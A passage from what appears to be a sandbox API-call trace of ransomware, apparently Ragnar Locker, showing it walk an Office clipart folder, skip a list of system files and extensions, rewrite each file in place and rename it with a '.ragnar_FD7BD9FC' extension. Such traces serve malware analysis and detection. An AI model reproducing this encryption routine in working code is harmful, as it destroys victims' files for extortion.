lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.035] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.035] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.035] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.035] GetProcessHeap () returned 0x580000 [0084.035] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.035] CloseHandle (hObject=0xf4) returned 1 [0084.035] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" [0084.035] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.ragnar_FD7BD9FC" [0084.035] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.036] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0084.036] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.036] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107148.WMF" | out: lpString1="J0107148.WMF") returned="J0107148.WMF" [0084.036] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned=".WMF" [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="autorun.inf") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="boot.ini") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="bootfont.bin") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="bootsect.bak") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="bootmgr") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="bootmgr.efi") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="bootmgfw.efi") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="desktop.ini") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="iconcache.db") returned 1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="ntldr") returned -1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="ntuser.dat") returned -1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="ntuser.dat.log") returned -1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="ntuser.ini") returned -1 [0084.036] lstrcmpiW (lpString1="J0107148.WMF", lpString2="thumbs.db") returned -1 [0084.037] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.037] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.037] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.037] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.037] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.037] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.037] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20 [0084.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.038] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20136) returned 1 [0084.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.038] GetProcessHeap () returned 0x580000 [0084.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.038] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.039] VirtualAlloc (lpAddress=0x0, dwSize=0x4ea8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.040] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ea8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ea8, lpOverlapped=0x0) returned 1 [0084.041] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.041] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ea8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.041] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ea8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ea8, lpOverlapped=0x0) returned 1 [0084.041] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ea8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.041] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.041] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ea8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.041] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.041] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.042] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.042] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.042] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.042] GetProcessHeap () returned 0x580000 [0084.042] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.042] CloseHandle (hObject=0xf4) returned 1 [0084.042] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" [0084.042] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.ragnar_FD7BD9FC" [0084.042] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.043] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0084.043] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.043] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107150.WMF" | out: lpString1="J0107150.WMF") returned="J0107150.WMF" [0084.043] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned=".WMF" [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="autorun.inf") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="boot.ini") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="bootfont.bin") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="bootsect.bak") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="bootmgr") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="bootmgr.efi") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="bootmgfw.efi") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="desktop.ini") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="iconcache.db") returned 1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="ntldr") returned -1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="ntuser.dat") returned -1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="ntuser.dat.log") returned -1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="ntuser.ini") returned -1 [0084.043] lstrcmpiW (lpString1="J0107150.WMF", lpString2="thumbs.db") returned -1 [0084.043] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.043] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.043] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.043] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.043] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.043] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.043] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 0x20 [0084.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.044] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13456) returned 1 [0084.044] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3487, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.044] GetProcessHeap () returned 0x580000 [0084.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.044] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.045] VirtualAlloc (lpAddress=0x0, dwSize=0x3490, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.046] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.046] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.046] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3490, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3490, lpOverlapped=0x0) returned 1 [0084.047] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.047] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3490, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.047] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3490, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3490, lpOverlapped=0x0) returned 1 [0084.047] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3490, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.047] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.047] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.047] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.048] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.048] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.048] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.048] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.048] GetProcessHeap () returned 0x580000 [0084.048] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.048] CloseHandle (hObject=0xf4) returned 1 [0084.048] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" [0084.048] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.ragnar_FD7BD9FC" [0084.048] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.049] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0084.049] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.049] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107152.WMF" | out: lpString1="J0107152.WMF") returned="J0107152.WMF" [0084.049] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned=".WMF" [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="autorun.inf") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="boot.ini") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="bootfont.bin") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="bootsect.bak") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="bootmgr") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="bootmgr.efi") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="bootmgfw.efi") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="desktop.ini") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="iconcache.db") returned 1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="ntldr") returned -1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="ntuser.dat") returned -1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="ntuser.dat.log") returned -1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="ntuser.ini") returned -1 [0084.049] lstrcmpiW (lpString1="J0107152.WMF", lpString2="thumbs.db") returned -1 [0084.049] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.049] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.049] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.049] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.049] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.049] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.049] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 0x20 [0084.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.050] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22532) returned 1 [0084.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x57fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.050] GetProcessHeap () returned 0x580000 [0084.050] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.050] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.051] VirtualAlloc (lpAddress=0x0, dwSize=0x5804, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.052] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.052] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.052] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5804, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5804, lpOverlapped=0x0) returned 1 [0084.053] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.053] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5804, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.053] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5804, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5804, lpOverlapped=0x0) returned 1 [0084.053] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5804, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.054] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.054] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.054] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.054] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.054] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.054] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.054] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.054] GetProcessHeap () returned 0x580000 [0084.054] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 